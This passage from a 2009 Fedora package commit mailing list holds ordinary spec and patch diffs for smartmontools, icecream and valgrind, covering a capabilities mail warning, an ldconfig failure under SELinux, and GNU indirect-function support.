 @@ -74,6 +74,10 @@ extern "C" int __stdcall FreeConsole(voi
  #include <io.h> // setmode()
  #endif // __CYGWIN__
@@ -119,7 +119,7 @@ diff -up smartmontools-5.38/smartd.cpp.l
 +#ifdef HAVE_LIBCAP_NG
 +  PrintOut(LOG_INFO,"  -C, --usecapabilities\n");
 +  PrintOut(LOG_INFO,"        Use possix capabilities (EXPERIMENTAL).\n"
-+		    "        Warning: Mail notification does not work when used.\n");
++		    "        Warning: Mail notification does not work when used.\n\n");
 +#endif
  #ifdef _WIN32
    PrintOut(LOG_INFO,"  --service\n");
@@ -183,20 +183,23 @@ diff -up smartmontools-5.38/smartd.cpp.l
    
    // the main loop of the code
    while (1){
-@@ -4482,7 +4527,15 @@ static int smartd_main(int argc, char **
+@@ -4482,7 +4527,18 @@ static int smartd_main(int argc, char **
          PrintTestSchedule(ATAandSCSIdevlist);
          EXIT(0);
        }
 -      
++
 +#ifdef HAVE_LIBCAP_NG
-+      for(int i=numdevata+numdevscsi; i>1; i--) {
-+	  if (ATAandSCSIdevlist[i-1]->mailwarn) {
-+	      PrintOut(LOG_WARNING,"Mail can't be enabled together with --usecapabilities. All mail will be suppressed.\n");
-+	      break;
-+	  }
++      if (enable_capabilities) {
++        for(int i=0; i<numdevata+numdevscsi; i++) {
++          if (ATAandSCSIdevlist[i]->mailwarn) {
++            PrintOut(LOG_WARNING,"Mail can't be enabled together with --usecapabilities. All mail will be suppressed.\n");
++            break;
++          }
++        }
 +      }
-+	
 +#endif
++
        // reset signal
        caughtsigHUP=0;
      }


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartmontools.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- smartmontools.spec	9 Oct 2009 18:09:53 -0000	1.63
+++ smartmontools.spec	12 Oct 2009 15:07:07 -0000	1.64
@@ -1,7 +1,7 @@
 Summary:	Tools for monitoring SMART capable hard disks
 Name:		smartmontools
 Version:	5.38
-Release: 	20%{?dist}
+Release: 	21%{?dist}
 Epoch:		1
 Group:		System Environment/Base
 License:	GPLv2+
@@ -79,6 +79,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-21
+- warn about disabled mail only if capabilities are enabled
+
 * Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-20
 - fix init script for case when no action was specified
 



From michich at fedoraproject.org  Mon Oct 12 15:12:59 2009
From: michich at fedoraproject.org (Michal Schmidt)
Date: Mon, 12 Oct 2009 15:12:59 +0000 (UTC)
Subject: rpms/icecream/devel
	icecream-fix-createenv-when-ldconfig-fails.patch, 
	NONE, 1.1 icecream.spec, 1.24,
	1.25 icecream-0.9.3-fix-gcc44-ftbfs.patch, 1.1,
	NONE icecream-0.9.3-fix-perms-of-cache.patch, 1.1,
	NONE icecream-0.9.3-tighten-security.patch, 1.1, NONE
Message-ID: <20091012151259.2646F11C00DB@cvs1.fedora.phx.redhat.com>

Author: michich

Update of /cvs/pkgs/rpms/icecream/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2759

Modified Files:
	icecream.spec 
Added Files:
	icecream-fix-createenv-when-ldconfig-fails.patch 
Removed Files:
	icecream-0.9.3-fix-gcc44-ftbfs.patch 
	icecream-0.9.3-fix-perms-of-cache.patch 
	icecream-0.9.3-tighten-security.patch 
Log Message:
* Mon Oct 12 2009 Michal Schmidt <mschmidt at redhat.com> 0.9.4-5
- Fix failure to build native environment in SELinux enforcing mode.
- 'cvs rm ...' unused patches.


icecream-fix-createenv-when-ldconfig-fails.patch:
 icecc-create-env |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE icecream-fix-createenv-when-ldconfig-fails.patch ---
Patch sent to Stephan Kulow on 2009-10-12
-----------------------------------------
[PATCH icecream] allow ldconfig to fail when creating the environment

We should only expect ld.so.cache to be created if ldconfig finished
successfully.

ld.so.cache is not essential for correct functioning of the
created environment.

ldconfig may fail for example if SELinux enforcing policy prevents
it from working in the confined domain. That's actually how I
noticed this. The tar at the end of the script was failing because of
it. And yes, I will look at fixing the policy too...

Michal

Index: icecc-0.9.4/client/icecc-create-env
===================================================================
--- icecc-0.9.4.orig/client/icecc-create-env
+++ icecc-0.9.4/client/icecc-create-env
@@ -157,8 +157,8 @@ for i in $target_files; do 
 done
 
 if test -x /sbin/ldconfig; then
-   /sbin/ldconfig -r $tempdir
-   new_target_files="$new_target_files etc/ld.so.cache"
+   /sbin/ldconfig -r $tempdir && \
+      new_target_files="$new_target_files etc/ld.so.cache"
 fi
 
 md5sum=NONE


Index: icecream.spec
===================================================================
RCS file: /cvs/pkgs/rpms/icecream/devel/icecream.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- icecream.spec	18 Aug 2009 21:46:08 -0000	1.24
+++ icecream.spec	12 Oct 2009 15:12:57 -0000	1.25
@@ -11,7 +11,7 @@
 
 Name:		icecream
 Version:	0.9.4
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	Distributed compiler
 
 Group:		Development/Tools
@@ -29,6 +29,7 @@ Source7:	initscript-scheduler
 Source8:	%{name}-manpages.tar.bz2
 Patch0:		%{name}-rename-scheduler.patch
 Patch1:		%{name}-cleanup-conffile.patch
+Patch2:		%{name}-fix-createenv-when-ldconfig-fails.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -76,6 +77,7 @@ This package contains development files 
 %setup -q -a 8 -n icecc-%{version}
 %patch0 -p1
 %patch1 -p0
+%patch2 -p1
 sed -e 's|@LIBDIR@|%{_libdir}|g' %{SOURCE1} > icecream.sh
 sed -e 's|@LIBDIR@|%{_libdir}|g' %{SOURCE2} > icecream.csh
 mkdir SELinux
@@ -233,6 +235,10 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/icecc.pc
 
 %changelog
+* Mon Oct 12 2009 Michal Schmidt <mschmidt at redhat.com> 0.9.4-5
+- Fix failure to build native environment in SELinux enforcing mode.
+- 'cvs rm ...' unused patches.
+
 * Mon Aug 17 2009 Michal Schmidt <mschmidt at redhat.com> 0.9.4-4
 - SELinux policy: Allow untrusted binaries to getattr all filesystems.
   (BSD process accounting does vfs_getattr() to check disk space.)


--- icecream-0.9.3-fix-gcc44-ftbfs.patch DELETED ---


--- icecream-0.9.3-fix-perms-of-cache.patch DELETED ---


--- icecream-0.9.3-tighten-security.patch DELETED ---



From michich at fedoraproject.org  Mon Oct 12 15:14:00 2009
From: michich at fedoraproject.org (Michal Schmidt)
Date: Mon, 12 Oct 2009 15:14:00 +0000 (UTC)
Subject: rpms/icecream/F-12 icecream-fix-createenv-when-ldconfig-fails.patch,
	NONE, 1.1 icecream.spec, 1.24,
	1.25 icecream-0.9.3-fix-gcc44-ftbfs.patch, 1.1,
	NONE icecream-0.9.3-fix-perms-of-cache.patch, 1.1,
	NONE icecream-0.9.3-tighten-security.patch, 1.1, NONE
Message-ID: <20091012151400.5E4AD11C00DB@cvs1.fedora.phx.redhat.com>

Author: michich

Update of /cvs/pkgs/rpms/icecream/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2937

Modified Files:
	icecream.spec 
Added Files:
	icecream-fix-createenv-when-ldconfig-fails.patch 
Removed Files:
	icecream-0.9.3-fix-gcc44-ftbfs.patch 
	icecream-0.9.3-fix-perms-of-cache.patch 
	icecream-0.9.3-tighten-security.patch 
Log Message:
* Mon Oct 12 2009 Michal Schmidt <mschmidt at redhat.com> 0.9.4-5
- Fix failure to build native environment in SELinux enforcing mode.
- 'cvs rm ...' unused patches.


icecream-fix-createenv-when-ldconfig-fails.patch:
 icecc-create-env |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE icecream-fix-createenv-when-ldconfig-fails.patch ---
Patch sent to Stephan Kulow on 2009-10-12
-----------------------------------------
[PATCH icecream] allow ldconfig to fail when creating the environment

We should only expect ld.so.cache to be created if ldconfig finished
successfully.

ld.so.cache is not essential for correct functioning of the
created environment.

ldconfig may fail for example if SELinux enforcing policy prevents
it from working in the confined domain. That's actually how I
noticed this. The tar at the end of the script was failing because of
it. And yes, I will look at fixing the policy too...

Michal

Index: icecc-0.9.4/client/icecc-create-env
===================================================================
--- icecc-0.9.4.orig/client/icecc-create-env
+++ icecc-0.9.4/client/icecc-create-env
@@ -157,8 +157,8 @@ for i in $target_files; do 
 done
 
 if test -x /sbin/ldconfig; then
-   /sbin/ldconfig -r $tempdir
-   new_target_files="$new_target_files etc/ld.so.cache"
+   /sbin/ldconfig -r $tempdir && \
+      new_target_files="$new_target_files etc/ld.so.cache"
 fi
 
 md5sum=NONE


Index: icecream.spec
===================================================================
RCS file: /cvs/pkgs/rpms/icecream/F-12/icecream.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- icecream.spec	18 Aug 2009 21:46:08 -0000	1.24
+++ icecream.spec	12 Oct 2009 15:14:00 -0000	1.25
@@ -11,7 +11,7 @@
 
 Name:		icecream
 Version:	0.9.4
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	Distributed compiler
 
 Group:		Development/Tools
@@ -29,6 +29,7 @@ Source7:	initscript-scheduler
 Source8:	%{name}-manpages.tar.bz2
 Patch0:		%{name}-rename-scheduler.patch
 Patch1:		%{name}-cleanup-conffile.patch
+Patch2:		%{name}-fix-createenv-when-ldconfig-fails.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -76,6 +77,7 @@ This package contains development files 
 %setup -q -a 8 -n icecc-%{version}
 %patch0 -p1
 %patch1 -p0
+%patch2 -p1
 sed -e 's|@LIBDIR@|%{_libdir}|g' %{SOURCE1} > icecream.sh
 sed -e 's|@LIBDIR@|%{_libdir}|g' %{SOURCE2} > icecream.csh
 mkdir SELinux
@@ -233,6 +235,10 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/icecc.pc
 
 %changelog
+* Mon Oct 12 2009 Michal Schmidt <mschmidt at redhat.com> 0.9.4-5
+- Fix failure to build native environment in SELinux enforcing mode.
+- 'cvs rm ...' unused patches.
+
 * Mon Aug 17 2009 Michal Schmidt <mschmidt at redhat.com> 0.9.4-4
 - SELinux policy: Allow untrusted binaries to getattr all filesystems.
   (BSD process accounting does vfs_getattr() to check disk space.)


--- icecream-0.9.3-fix-gcc44-ftbfs.patch DELETED ---


--- icecream-0.9.3-fix-perms-of-cache.patch DELETED ---


--- icecream-0.9.3-tighten-security.patch DELETED ---



From mhlavink at fedoraproject.org  Mon Oct 12 15:17:53 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 12 Oct 2009 15:17:53 +0000 (UTC)
Subject: rpms/smartmontools/F-12 smartmontools-5.38-lowcap.patch, 1.5,
	1.6 smartmontools.spec, 1.64, 1.65
Message-ID: <20091012151753.9893311C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3460

Modified Files:
	smartmontools-5.38-lowcap.patch smartmontools.spec 
Log Message:
* Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-21                                                        
- warn about disabled mail only if capabilities are enabled                                                                


smartmontools-5.38-lowcap.patch:
 Makefile.am  |    2 -
 configure.in |   34 +++++++++++++++++++++++++++++++++
 smartd.8.in  |    6 +++++
 smartd.cpp   |   60 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
 4 files changed, 99 insertions(+), 3 deletions(-)

Index: smartmontools-5.38-lowcap.patch
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-12/smartmontools-5.38-lowcap.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- smartmontools-5.38-lowcap.patch	9 Oct 2009 09:05:48 -0000	1.5
+++ smartmontools-5.38-lowcap.patch	12 Oct 2009 15:17:53 -0000	1.6
@@ -1,6 +1,6 @@
 diff -up smartmontools-5.38/configure.in.lowcap smartmontools-5.38/configure.in
---- smartmontools-5.38/configure.in.lowcap	2009-10-09 10:19:22.395700024 +0200
-+++ smartmontools-5.38/configure.in	2009-10-09 10:19:22.431698988 +0200
+--- smartmontools-5.38/configure.in.lowcap	2009-10-12 17:00:53.889673785 +0200
++++ smartmontools-5.38/configure.in	2009-10-12 17:00:53.896678618 +0200
 @@ -143,6 +143,40 @@ if test "$with_selinux" = "yes"; then
  	AC_DEFINE(WITH_SELINUX, [1], [Define to 1 if SELinux support is enabled])
  fi
@@ -44,7 +44,7 @@ diff -up smartmontools-5.38/configure.in
      if test "$mandir" = '${prefix}/man'; then
 diff -up smartmontools-5.38/Makefile.am.lowcap smartmontools-5.38/Makefile.am
 --- smartmontools-5.38/Makefile.am.lowcap	2007-04-01 18:49:44.000000000 +0200
-+++ smartmontools-5.38/Makefile.am	2009-10-09 10:19:22.434699065 +0200
++++ smartmontools-5.38/Makefile.am	2009-10-12 17:00:53.896678618 +0200
 @@ -35,7 +35,7 @@ smartd_SOURCES =  smartd.cpp      \
                    utility.cpp     \
                    utility.h
@@ -56,7 +56,7 @@ diff -up smartmontools-5.38/Makefile.am.
  EXTRA_smartd_SOURCES = os_darwin.cpp    \
 diff -up smartmontools-5.38/smartd.8.in.lowcap smartmontools-5.38/smartd.8.in
 --- smartmontools-5.38/smartd.8.in.lowcap	2008-03-04 23:09:47.000000000 +0100
-+++ smartmontools-5.38/smartd.8.in	2009-10-09 10:19:22.439699030 +0200
++++ smartmontools-5.38/smartd.8.in	2009-10-12 17:00:53.902672971 +0200
 @@ -145,6 +145,12 @@ input. This is useful for commands like:
  to perform quick and simple checks without a configuration file.
  
@@ -71,8 +71,8 @@ diff -up smartmontools-5.38/smartd.8.in.
  Runs \fBsmartd\fP in "debug" mode. In this mode, it displays status
  information to STDOUT rather than logging it to SYSLOG and does not
 diff -up smartmontools-5.38/smartd.cpp.lowcap smartmontools-5.38/smartd.cpp
---- smartmontools-5.38/smartd.cpp.lowcap	2009-10-09 10:19:22.312699527 +0200
-+++ smartmontools-5.38/smartd.cpp	2009-10-09 10:43:45.294698988 +0200
+--- smartmontools-5.38/smartd.cpp.lowcap	2009-10-12 17:00:53.883672847 +0200
++++ smartmontools-5.38/smartd.cpp	2009-10-12 17:04:18.600547796 +0200
 @@ -74,6 +74,10 @@ extern "C" int __stdcall FreeConsole(voi
  #include <io.h> // setmode()
  #endif // __CYGWIN__
@@ -119,7 +119,7 @@ diff -up smartmontools-5.38/smartd.cpp.l
 +#ifdef HAVE_LIBCAP_NG
 +  PrintOut(LOG_INFO,"  -C, --usecapabilities\n");
 +  PrintOut(LOG_INFO,"        Use possix capabilities (EXPERIMENTAL).\n"
-+		    "        Warning: Mail notification does not work when used.\n");
++		    "        Warning: Mail notification does not work when used.\n\n");
 +#endif
  #ifdef _WIN32
    PrintOut(LOG_INFO,"  --service\n");
@@ -183,20 +183,23 @@ diff -up smartmontools-5.38/smartd.cpp.l
    
    // the main loop of the code
    while (1){
-@@ -4482,7 +4527,15 @@ static int smartd_main(int argc, char **
+@@ -4482,7 +4527,18 @@ static int smartd_main(int argc, char **
          PrintTestSchedule(ATAandSCSIdevlist);
          EXIT(0);
        }
 -      
++
 +#ifdef HAVE_LIBCAP_NG
-+      for(int i=numdevata+numdevscsi; i>1; i--) {
-+	  if (ATAandSCSIdevlist[i-1]->mailwarn) {
-+	      PrintOut(LOG_WARNING,"Mail can't be enabled together with --usecapabilities. All mail will be suppressed.\n");
-+	      break;
-+	  }
++      if (enable_capabilities) {
++        for(int i=0; i<numdevata+numdevscsi; i++) {
++          if (ATAandSCSIdevlist[i]->mailwarn) {
++            PrintOut(LOG_WARNING,"Mail can't be enabled together with --usecapabilities. All mail will be suppressed.\n");
++            break;
++          }
++        }
 +      }
-+	
 +#endif
++
        // reset signal
        caughtsigHUP=0;
      }


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-12/smartmontools.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- smartmontools.spec	9 Oct 2009 18:52:55 -0000	1.64
+++ smartmontools.spec	12 Oct 2009 15:17:53 -0000	1.65
@@ -1,7 +1,7 @@
 Summary:	Tools for monitoring SMART capable hard disks
 Name:		smartmontools
 Version:	5.38
-Release: 	20%{?dist}.1
+Release: 	21%{?dist}
 Epoch:		1
 Group:		System Environment/Base
 License:	GPLv2+
@@ -79,6 +79,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-21                                                        
+- warn about disabled mail only if capabilities are enabled                                                                
+
 * Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-20.1
 - fix apostrophes around shell variable
  



From jakub at fedoraproject.org  Mon Oct 12 15:18:45 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Mon, 12 Oct 2009 15:18:45 +0000 (UTC)
Subject: rpms/valgrind/F-12 valgrind-3.5.0-ifunc.patch, NONE,
	1.1 valgrind-3.5.0-inotify-init1.patch, NONE,
	1.1 valgrind-3.5.0-mmap-mprotect.patch, NONE, 1.1 valgrind.spec,
	1.67, 1.68
Message-ID: <20091012151845.46DF411C00DB@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/valgrind/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3635

Modified Files:
	valgrind.spec 
Added Files:
	valgrind-3.5.0-ifunc.patch valgrind-3.5.0-inotify-init1.patch 
	valgrind-3.5.0-mmap-mprotect.patch 
Log Message:
3.5.0-2

valgrind-3.5.0-ifunc.patch:
 coregrind/m_debuginfo/debuginfo.c    |   14 ++--
 coregrind/m_debuginfo/priv_storage.h |    1 
 coregrind/m_debuginfo/readelf.c      |   22 +++++--
 coregrind/m_demangle/demangle.c      |   52 ++++++++++++----
 coregrind/m_redir.c                  |  109 +++++++++++++++++++++++++++++++----
 coregrind/m_scheduler/scheduler.c    |    6 +
 coregrind/pub_core_clreq.h           |    5 +
 coregrind/pub_core_demangle.h        |    3 
 coregrind/pub_core_redir.h           |    3 
 coregrind/vg_preloaded.c             |   27 ++++++++
 include/pub_tool_debuginfo.h         |    3 
 include/pub_tool_redir.h             |   25 +++++++-
 memcheck/mc_replace_strmem.c         |   24 ++++++-
 13 files changed, 251 insertions(+), 43 deletions(-)

--- NEW FILE valgrind-3.5.0-ifunc.patch ---
commit 27dc1029d4bca6409d0ed990264592dc75761cd0
Author: Dodji Seketeli <dodji at redhat.com>
Date:   Wed Oct 7 16:09:30 2009 +0200

    Candidate patch for vgbz 206013
    
    This patch
    
    1/ Intercepts the call to the indirect function of type STT_GNU_IFUNC
       and gets the returned function pointer
    2/ Redirects the returned function pointer to whatever function the
       indirect function was redirected to.
    
    To do this, we first makes valgrind recognize STT_GNU_IFUNC functions.
    Then we wrap all indirect functions by a magic wrapper that does 1/ and 2/
    
    Please find below a detailed GNU style ChangeLog accompanying the patch.
    
    	* coregrind/m_debuginfo/priv_storage.h (struct DiSym): Add an
    	isIndirectFunc field to indicate if the symbol is an indirect
    	function.
    	* coregrind/m_debuginfo/readelf.c (get_elf_symbol_info):
    	Return a boolean to say if the symbol is an indirect function.
    	This is only on non-ppc64 linux systems only.
    	(read_elf_symtab__normal): Add indirect function flag to symbols.
    	(read_elf_symtab__ppc64_linux): Ignore indirect function stuff for
    	linux ppc64 for now.
    	* include/pub_tool_debuginfo.h (VG_(DebugInfo_syms_getidx)): Return a
    	boolean to say if the symbol is an indirect function.
    	* coregrind/m_debuginfo/debuginfo.c (VG_(DebugInfo_syms_getidx)):
    	Likewise.
    	* coregrind/pub_core_demangle.h (VG_(maybe_Z_demangle)): Add a boolean
    	indicated if the demangled symbol is an indirect function redirection
    	specification.
    	* coregrind/m_demangle/demangle.c (VG_(demangle)): Ignore indirect
    	functions demangling here.
    	(VG_(maybe_Z_demangle)): Add support for demangling indirect functions
    	wrapping/redirecting.
    	* include/pub_tool_redir.h: Add macros to define an indirection
    	function wrap or replacement.
    	* coregrind/m_redir.c (struct Spec): Add isIFunc to flag the
    	redirection specification as being related to an indirect function.
    	(struct Active): Likewise.
    	(iFuncToDirectFuncSet): New ordered set that holds
    	indirect function -> target mappings. Target here is the function
    	which the indirection function points to. The type of the mapping is
    	the struct IFuncToDirectFuncEntry.
    	(VG_(redir_notify_new_DebugInfo)): Update the list of redirection
    	specifications whenever a redirection specification symbol related
    	to an indirection (set with e.g VG_WRAP_I_FUNCTION_ZZ) appears.
    	function appears.
    	(VG_(redir_change_ifunc_target)): New function.
    	(generate_and_add_actives): Apply indirect function redirections
    	to indirect functions only. Also, consider cases where we are
    	requested a strlen -> vg_strlen redirection. Now, if strlen happens to
    	be an indirect function pointing to strlen_target, we need be able to
    	later set a strlen_target --> vg_strlen redirection. Here "later"
    	means once we have intercepted the strlen call by the runtime linker
    	to get the pointer to strlen_target. So we now store the strlen ->
    	vg_strlen redirection request in the iFuncToDirectFuncSet set so that
    	we can get it later.
    	* coregrind/m_scheduler/scheduler.c (do_client_request): Add a new
    	VG_USERREQ__CHANGE_IFUNC_REDIR_TARGET.
    	* coregrind/pub_core_clreq.h (enum Vg_InternalClientRequest): Add
    	VG_USERREQ__CHANGE_IFUNC_REDIR_TARGET.
    	* coregrind/vg_preloaded.c:
    	(VG_WRAP_I_FUNCTION_ZZ(VG_Z_LIBC_SONAME, Za) (void)): New indirect
    	function redirection.
    	* memcheck/mc_replace_strmem.c: Add a bunch of __GI_* replacement
    	functions.

diff --git a/coregrind/m_debuginfo/debuginfo.c b/coregrind/m_debuginfo/debuginfo.c
index eed2ab1..c9a2e4e 100644
--- a/coregrind/m_debuginfo/debuginfo.c
+++ b/coregrind/m_debuginfo/debuginfo.c
@@ -3435,14 +3435,16 @@ void VG_(DebugInfo_syms_getidx) ( const DebugInfo *si,
                                   /*OUT*/Addr*   tocptr,
                                   /*OUT*/UInt*   size,
                                   /*OUT*/HChar** name,
-                                  /*OUT*/Bool*   isText )
+                                  /*OUT*/Bool*   isText,
+                                  /*OUT*/Bool*   isIFunc)
 {
    vg_assert(idx >= 0 && idx < si->symtab_used);
-   if (avma)   *avma   = si->symtab[idx].addr;
-   if (tocptr) *tocptr = si->symtab[idx].tocptr;
-   if (size)   *size   = si->symtab[idx].size;
-   if (name)   *name   = (HChar*)si->symtab[idx].name;
-   if (isText) *isText = si->symtab[idx].isText;
+   if (avma)    *avma   = si->symtab[idx].addr;
+   if (tocptr)  *tocptr = si->symtab[idx].tocptr;
+   if (size)    *size   = si->symtab[idx].size;
+   if (name)    *name   = (HChar*)si->symtab[idx].name;
+   if (isText)  *isText = si->symtab[idx].isText;
+   if (isIFunc) *isIFunc = si->symtab[idx].isIndirectFunc;
 }
 
 
diff --git a/coregrind/m_debuginfo/priv_storage.h b/coregrind/m_debuginfo/priv_storage.h
index f6e6e82..53223ad 100644
--- a/coregrind/m_debuginfo/priv_storage.h
+++ b/coregrind/m_debuginfo/priv_storage.h
@@ -57,6 +57,7 @@ typedef
       // positive number larger than 1 is never used to represent True.
       UInt  size;   /* size in bytes */
       Bool  isText;
+      Bool  isIndirectFunc; /* true if symbol is of STT_GNU_IFUNC type */
    }
    DiSym;
 
diff --git a/coregrind/m_debuginfo/readelf.c b/coregrind/m_debuginfo/readelf.c
index 02cea02..51f3ddd 100644
--- a/coregrind/m_debuginfo/readelf.c
+++ b/coregrind/m_debuginfo/readelf.c
@@ -214,7 +214,8 @@ Bool get_elf_symbol_info (
                                   used on entry */
         Bool*  from_opd_out,   /* ppc64-linux only: did we deref an
                                   .opd entry? */
-        Bool*  is_text_out     /* is this a text symbol? */
+        Bool*  is_text_out,    /* is this a text symbol? */
+        Bool*  is_indirect_function /* is this a  STT_GNU_IFUNC function ?*/
      )
 {
    Bool plausible;
@@ -232,6 +233,8 @@ Bool get_elf_symbol_info (
    *sym_size_out   = (Int)sym->st_size;
    *sym_tocptr_out = 0; /* unknown/inapplicable */
    *from_opd_out   = False;
+   if (is_indirect_function)
+       *is_indirect_function = False;
 
    /* Figure out if we're interested in the symbol.  Firstly, is it of
       the right flavour?  */
@@ -243,6 +246,9 @@ Bool get_elf_symbol_info (
         &&
         (ELFXX_ST_TYPE(sym->st_info) == STT_FUNC 
          || ELFXX_ST_TYPE(sym->st_info) == STT_OBJECT
+#ifdef STT_GNU_IFUNC
+         || ELFXX_ST_TYPE(sym->st_info) == STT_GNU_IFUNC
+#endif
         );
 
    /* Work out the svma and bias for each section as it will appear in
@@ -324,6 +330,13 @@ Bool get_elf_symbol_info (
       *is_text_out = True;
       *sym_avma_out += text_bias;
    }
+#ifdef STT_GNU_IFUNC
+   if (is_indirect_function
+       && *is_text_out
+       && ELFXX_ST_TYPE(sym->st_info) == STT_GNU_IFUNC) {
+       *is_indirect_function = True;
+   }
+#endif
 
 #  if defined(VGP_ppc64_linux)
    /* Allow STT_NOTYPE in the very special case where we're running on
@@ -570,7 +583,7 @@ void read_elf_symtab__normal(
    Char      *sym_name, *sym_name_really;
    Int        sym_size;
    Addr       sym_tocptr;
-   Bool       from_opd, is_text;
+   Bool       from_opd, is_text, is_indirect_func = False;
    DiSym      risym;
    ElfXX_Sym *sym;
 
@@ -602,13 +615,14 @@ void read_elf_symtab__normal(
                               &sym_avma_really,
                               &sym_size,
                               &sym_tocptr,
-                              &from_opd, &is_text)) {
+                              &from_opd, &is_text, &is_indirect_func)) {
 
          risym.addr   = sym_avma_really;
          risym.size   = sym_size;
          risym.name   = ML_(addStr) ( di, sym_name_really, -1 );
          risym.tocptr = sym_tocptr;
          risym.isText = is_text;
+         risym.isIndirectFunc = is_indirect_func;
          vg_assert(risym.name != NULL);
          vg_assert(risym.tocptr == 0); /* has no role except on ppc64-linux */
          ML_(addSym) ( di, &risym );
@@ -713,7 +727,7 @@ void read_elf_symtab__ppc64_linux(
                               &sym_avma_really,
                               &sym_size,
                               &sym_tocptr,
-                              &from_opd, &is_text)) {
+                              &from_opd, &is_text,NULL)) {
 
          /* Check if we've seen this (name,addr) key before. */
          key.addr = sym_avma_really;
diff --git a/coregrind/m_demangle/demangle.c b/coregrind/m_demangle/demangle.c
index 262fcfc..3ae050a 100644
--- a/coregrind/m_demangle/demangle.c
+++ b/coregrind/m_demangle/demangle.c
@@ -100,7 +100,8 @@ void VG_(demangle) ( Bool do_cxx_demangling, Bool do_z_demangling,
       interested in that). */
    if (do_z_demangling) {
       if (VG_(maybe_Z_demangle)( orig, NULL,0,/*soname*/
-                                 z_demangled, N_ZBUF, NULL)) {
+                                 z_demangled, N_ZBUF, NULL,
+                                 NULL)) {
          orig = z_demangled;
       }
    }
@@ -146,7 +147,8 @@ void VG_(demangle) ( Bool do_cxx_demangling, Bool do_z_demangling,
 Bool VG_(maybe_Z_demangle) ( const HChar* sym, 
                              /*OUT*/HChar* so, Int soLen,
                              /*OUT*/HChar* fn, Int fnLen,
-                             /*OUT*/Bool* isWrap )
+                             /*OUT*/Bool* isWrap,
+                             /*OUT*/Bool* isIFunc)
 {
 #  define EMITSO(ch)                           \
       do {                                     \
@@ -167,15 +169,20 @@ Bool VG_(maybe_Z_demangle) ( const HChar* sym,
          }                                     \
       } while (0)
 
-   Bool error, oflow, valid, fn_is_encoded, is_VG_Z_prefixed;
-   Int  soi, fni, i;
+   Bool error, oflow, valid, indirect, fn_is_encoded,
+        is_VG_Z_prefixed;
+   Int  soi, fni, i, encoded_index, wrap_index, soname_index;
 
    vg_assert(soLen > 0 || (soLen == 0 && so == NULL));
    vg_assert(fnLen > 0);
    error = False;
    oflow = False;
+   indirect = False;
    soi = 0;
    fni = 0;
+   encoded_index = 5;
+   wrap_index = 3;
+   soname_index = 7;
 
    valid =     sym[0] == '_'
            &&  sym[1] == 'v'
@@ -184,29 +191,46 @@ Bool VG_(maybe_Z_demangle) ( const HChar* sym,
            &&  sym[4] == 'Z'
            && (sym[5] == 'Z' || sym[5] == 'U')
            &&  sym[6] == '_';
-   if (!valid)
-      return False;
 
-   fn_is_encoded = sym[5] == 'Z';
+   if (!valid) {
+      valid =     sym[0] == '_'
+              &&  sym[1] == 'v'
+              &&  sym[2] == 'g'
+              &&  sym[3] == 'i'
+              && (sym[4] == 'r' || sym[4] == 'w' || sym[4] == 'n')
+              &&  sym[5] == 'Z'
+              && (sym[6] == 'Z' || sym[6] == 'U')
+              &&  sym[7] == '_';
+      if (!valid)
+         return False;
+      encoded_index = 6;
+      wrap_index = 4;
+      soname_index = 8;
+      indirect = True;
+   }
+
+   fn_is_encoded = sym[encoded_index] == 'Z';
 
    if (isWrap)
-      *isWrap = sym[3] == 'w';
+      *isWrap = sym[wrap_index] == 'w';
+   if (isIFunc)
+      *isIFunc = indirect;
 
    /* Now check the soname prefix isn't "VG_Z_", as described in
       pub_tool_redir.h. */
+   i = soname_index;
    is_VG_Z_prefixed =
-      sym[ 7] == 'V' &&
-      sym[ 8] == 'G' &&
-      sym[ 9] == '_' &&
-      sym[10] == 'Z' &&
-      sym[11] == '_';
+      sym[i] == 'V' &&
+      sym[i+1] == 'G' &&
+      sym[i+2] == '_' &&
+      sym[i+3] == 'Z' &&
+      sym[i+4] == '_';
    if (is_VG_Z_prefixed) {
       vg_assert2(0, "symbol with a 'VG_Z_' prefix: %s.\n"
                     "see pub_tool_redir.h for an explanation.", sym);
    }
 
    /* Now scan the Z-encoded soname. */
-   i = 7;
